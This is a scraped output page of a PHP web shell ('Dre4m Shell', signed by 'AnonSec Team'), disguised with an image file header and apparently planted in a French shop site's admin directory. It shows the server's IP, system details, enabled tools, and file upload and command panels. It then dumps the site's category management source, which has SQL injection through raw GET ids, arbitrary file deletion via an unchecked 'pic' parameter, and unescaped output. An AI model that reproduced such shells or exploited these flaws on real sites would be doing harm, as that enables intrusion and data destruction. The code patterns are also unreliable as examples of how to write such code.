ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/cp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/cp-admin//category_caisse.php
<?php
if (isset($_GET['online'])) {

  $id = $_GET['online'];
    
  $bdd->exec("UPDATE " . $GLOBALS['db_table']['categories'] . " SET status = 1 WHERE id = $id");

  echo '<script>';
  echo 'window.location = "./category.php"';
  echo '</script>';
}

if (isset($_GET['offline'])) {

  $id = $_GET['offline'];
    
  $bdd->exec("UPDATE " . $GLOBALS['db_table']['categories'] . " SET status = 0 WHERE id = $id");

  echo '<script>';
  echo 'window.location = "./category.php"';
  echo '</script>';
}





// Suppression de la cat.
if (isset($_GET['del'])) 
{
  $id = $_GET['del'];
    
  $bdd->exec("DELETE FROM " . $GLOBALS['db_table']['categories'] . " WHERE id = $id");

// Suppression de l'image
  $content_dir = '../uploadfiles/categories/'; // dossier 
  unlink($content_dir . $_GET['pic']);

  echo '<script>';
  echo 'window.location = "./category.php"';
  echo '</script>';
}
?>

<script type="text/javascript">
  $(document).ready(function() {
    $("#sortlist").Sortable({
      accept: 'dragDrop',
      opacity: 0.6,
      axis : 'vertically',
      onchange : function ( sorted ) {
        serial = $.SortSerialize ('sortlist'); 
        // requète Ajax pour l'enregistrement des positions
        $.ajax ( {
          url : "includes/set_position.php?table=categories&field=position",
          type : "post",
          data : serial.hash
        });
      }
    });
  });
</script>

<div class="container">
  <div class="row">
    <div class="span12">
      <div class="page-header">
        <h1>Gérer vos Catégories
          <div class="pull-right">
            <a href="products.php" class="btn btn-primary"><i class="icon-arrow-left"></i> Produits</a>
            
          </div>
        </h1>
      </div>
      
 <i>Vos cat&eacute;gories se g&egrave;rent aussi dans votre caisse principale !</i> <br /><br />   
      
      
    </div>
  </div>
  <table id="sortlist" class="table table-bordered table-striped">
    <thead>
      <tr>
        <th class="span3 center">Catégorie</th>
        <th class="span1 center">Nombre de produits</th>
        <th class="span2 center">Opérations</th>                                        
      </tr>
    </thead>
    <tbody>

      <?php
      $requete = $bdd->query("SELECT COUNT(pc.id_category) as total, c.* FROM " . $GLOBALS['db_table']['categories'] . " c LEFT JOIN " . $GLOBALS['db_table']['products_categories'] . " pc ON c.id = pc.id_category GROUP BY c.id ORDER BY c.position"); 
      if ($row = $requete->fetch()) {
        do {
         $id = $row['id'];
          ?>

          <tr class="dragDrop" id="adv_<?php echo $id; ?>" style="cursor: ns-resize;">
            <td class="span1 font12">
            
 <?php            
         $parent_id = $row['parent_id'];
        
$requet = $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['categories'] . " WHERE id = " . $parent_id);
$catt = $requet->fetch();
        
        if($parent_id =='1') { 
    	echo '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#CC0000"><b>'.$catt['name'].'</b></font>&nbsp;&nbsp;&nbsp;------>&nbsp;&nbsp;&nbsp;<font color="#000"><b>'.stripcslashes($row['name']).'</b></font>'; 			 
        } 
        else if($parent_id =='0') { 
    	echo '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#000"><b>'.stripcslashes($row['name']).'</b></font>'; 			 
       }
        else {
    	echo '<span style="margin-left:30%"><font color="#CCC">'.$catt['name'].'</font>&nbsp;&nbsp;&nbsp;<b>'.stripcslashes($row['name']).'</b></span>'; 
    	
    	}			 
 ?>           

            </td>
            <td class="span1 font12 center">
              <b><?php echo stripcslashes($row['total']) ?></b>
            </td>
            <td class="center">

              <?php
              if($row['status'] == 0)
                echo '<a href="./category.php?online='.$row['id'].'"><img src="assets/img/offline.png" title="Activer"></a>';
              else
                echo '<a href="./category.php?offline='.$row['id'].'"><img src="assets/img/online.png" title="Désactiver"></a>';
              ?>

              &nbsp;

<!--               <a href="./edit_category.php?id=<?php echo $row['id']; ?>">
                <img src="assets/img/edit.png" title="Editer la catégorie">
              </a>
              &nbsp; -->

              <a href="#" id="<?php echo $row['id']; ?>" class="display_edit_category" title="<?php echo $row['name']; ?>" caption="<?php echo $row['caption']; ?>"
                <img src="assets/img/edit.png" title="Editer la catégorie">
              </a>
              &nbsp;

              <a href="./details_category.php?id=<?php echo $row['id']; ?>">
                <img src="assets/img/details.png" title="Gérer le contenu de la catégorie">
              </a>
              &nbsp;


              &nbsp;
            </td>
          </tr>

          <?php
        }while ($row = $requete->fetch());
      } else {
        echo 'Aucune page à afficher !!!';
      }
      ?>

    </tbody>
  </table>
</div>

<div class="modal hide fade" id="category_box" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true" wi>
  <div class="modal-header">
    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">x</button>
    <h3 id="category_title_box_box_header">Editer la catégorie</h3>
  </div>
  <div class="modal-body" id="category_box_content">
  </div>
  <div class="modal-footer">
    <button class="btn" data-dismiss="modal" aria-hidden="true">Fermer</button>
    <button class="btn btn-primary" id="update_category">Enregistrer</button>
  </div>
</div>

<script type="text/javascript">
  $('.display_edit_category').live('click', function(event) {
    event.preventDefault();
    var id = $(this).attr('id');
    var name = $(this).attr('title');
    var caption = $(this).attr('caption');
    
    $('#category_box').modal();
    $('#category_box_content').html('<input type="hidden" id="id" value="'+id+'"> <div style="display: inline;"><label for="name">Nom :</label> <input type="text" id="name" value="'+name+'" style="width:95%;"></div> <label for="caption">Description :</label> <textarea id="caption" style="width:95%; height:60px;">'+caption+'</textarea>');
  });

  $('#update_category').live('click', function(event) {
    event.preventDefault();
    
    var id = $('#id').val();
    var name = $('#name').val();
    var caption = $('#caption').val();
    
    $.ajax({
      type: 'POST',
      data: 'id='+id+'&name='+name+'&caption='+caption,
      url: 'includes/listeners/updateCategory.php',
      success: function(msg) {
        if(msg!='') alert(msg);
        else window.location.reload();
      }
    });
  });
</script>

<?
include_once('includes/footer.php');
?>

Anon7 - 2022
AnonSec Team